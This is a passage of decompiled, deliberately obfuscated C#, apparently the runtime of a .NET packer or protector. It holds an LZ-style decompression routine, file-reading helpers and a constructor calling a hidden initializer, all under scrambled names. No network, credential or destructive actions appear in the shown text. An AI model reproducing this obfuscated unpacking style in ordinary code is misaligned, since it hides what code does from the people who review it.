if (!YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.fTu8VEKSg((void*) numPtr6, tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1268)) || YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 1), 4U) != 3U || !YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.fTu8VEKSg((void*) (numPtr3 + (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 2), 4U) - 4), tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1280)))
return 0;
if (YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 4), 4U) != 1U)
{
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0031aAAcYcfl((void*) numPtr2, (void*) (numPtr3 + (int) num1), YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 3), 4U));
return YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 3), 4U);
}
if (numPtr5 >= numPtr8)
{
byte* numPtr9 = numPtr4 + 4;
while (numPtr5 < numPtr7)
{
*numPtr5 = *numPtr9;
++numPtr5;
++numPtr9;
}
return (uint) (numPtr5 - numPtr2);
}
do
{
if (num2 == 1U)
{
num2 = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr4, 4U);
numPtr4 += 4;
}
uint num3 = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr4, 4U);
if (((int) num2 & 1) == 1)
{
num2 >>= 1;
if (((int) num3 & 3) == 0)
{
uint num4 = (num3 & (uint) byte.MaxValue) >> 2;
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num4, 3U);
numPtr5 += 3;
++numPtr4;
}
else if (((int) num3 & 2) == 0)
{
uint num5 = (num3 & (uint) ushort.MaxValue) >> 2;
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num5, 3U);
numPtr5 += 3;
numPtr4 += 2;
}
else if (((int) num3 & 1) == 0)
{
uint num6 = (num3 & (uint) ushort.MaxValue) >> 6;
uint num7 = (uint) (((int) (num3 >> 2) & 15) + 3);
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num6, num7);
numPtr5 += (int) num7;
numPtr4 += 2;
}
else if (((int) num3 & 4) == 0)
{
uint num8 = (num3 & 16777215U) >> 8;
uint num9 = (uint) (((int) (num3 >> 3) & 31) + 3);
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num8, num9);
numPtr5 += (int) num9;
numPtr4 += 3;
}
else if (((int) num3 & 8) == 0)
{
uint num10 = num3 >> 15;
uint num11 = (uint) (((int) (num3 >> 4) & 2047) + 3);
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num10, num11);
numPtr5 += (int) num11;
numPtr4 += 4;
}
else
{
byte num12 = (byte) (num3 >> 16);
uint num13 = num3 >> 4 & 4095U;
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.HnbvO3JPm((void*) numPtr5, num12, num13);
numPtr5 += (int) num13;
numPtr4 += 3;
}
}
else
{
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr4, 4U);
numPtr5 += (int) numArray[(IntPtr) (num2 & 15U)];
numPtr4 += (int) numArray[(IntPtr) (num2 & 15U)];
num2 >>= (int) (byte) numArray[(IntPtr) (num2 & 15U)];
}
}
while (numPtr5 < numPtr8);
while (numPtr5 < numPtr7)
{
if (num2 == 1U)
{
numPtr4 += 4;
num2 = 2147483648U;
}
*numPtr5 = *numPtr4;
++numPtr5;
++numPtr4;
num2 >>= 1;
}
return (uint) (numPtr5 - numPtr2);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
private static byte[] \u0033REZxwYE8([In] string obj0)
{
byte[] buffer = (byte[]) null;
FileStream fileStream = File.Open(obj0, FileMode.Open, FileAccess.Read, FileShare.Read);
try
{
buffer = new byte[fileStream.Length];
fileStream.Read(buffer, 0, buffer.Length);
}
finally
{
fileStream.Close();
}
return buffer;
}
[MethodImpl(MethodImplOptions.NoInlining)]
public static byte[] B1Cp1eERm([In] string obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.DeWUrFjAC(YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0033REZxwYE8(obj0));
[MethodImpl(MethodImplOptions.NoInlining)]
public static byte[] bhFIRp8Sr([In] string obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.PMFLr6jcg(YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0033REZxwYE8(obj0));
[MethodImpl(MethodImplOptions.NoInlining)]
public static byte[] DeWUrFjAC([In] byte[] obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.gapYO5dWO(obj0, 0U, Convert.ToUInt32(obj0.Length));
[MethodImpl(MethodImplOptions.NoInlining)]
public static byte[] PMFLr6jcg([In] byte[] obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039fUblSrWA(obj0, 0U);
[MethodImpl(MethodImplOptions.NoInlining)]
public static byte[] gapYO5dWO([In] byte[] obj0, [In] uint obj1, [In] uint obj2)
{
byte[] numArray1 = new byte[(IntPtr) (obj2 + 36000U)];
uint length = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.YPoCMoGHZ(obj0, obj1, numArray1, obj2);
byte[] numArray2 = new byte[(IntPtr) length];
for (uint index = 0; index < length; ++index)
numArray2[(IntPtr) index] = numArray1[(IntPtr) index];
return numArray2;
}
[MethodImpl(MethodImplOptions.NoInlining)]
public static byte[] \u0039fUblSrWA([In] byte[] obj0, [In] uint obj1)
{
uint length = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0034J3iGuO2D(obj0, obj1);
byte[] numArray = (byte[]) null;
if (length != 0U)
{
numArray = new byte[(IntPtr) length];
int num = (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.oEv1kgedQ(obj0, obj1, numArray);
}
return numArray;
}
[MethodImpl(MethodImplOptions.NoInlining)]
public P65q5rcw0MukklQaVB()
{
qriSERnLWqCHHxhiWL.mQJJcrKz2UjcR();
// ISSUE: explicit constructor call
base.\u002Ector();
}
}
}
}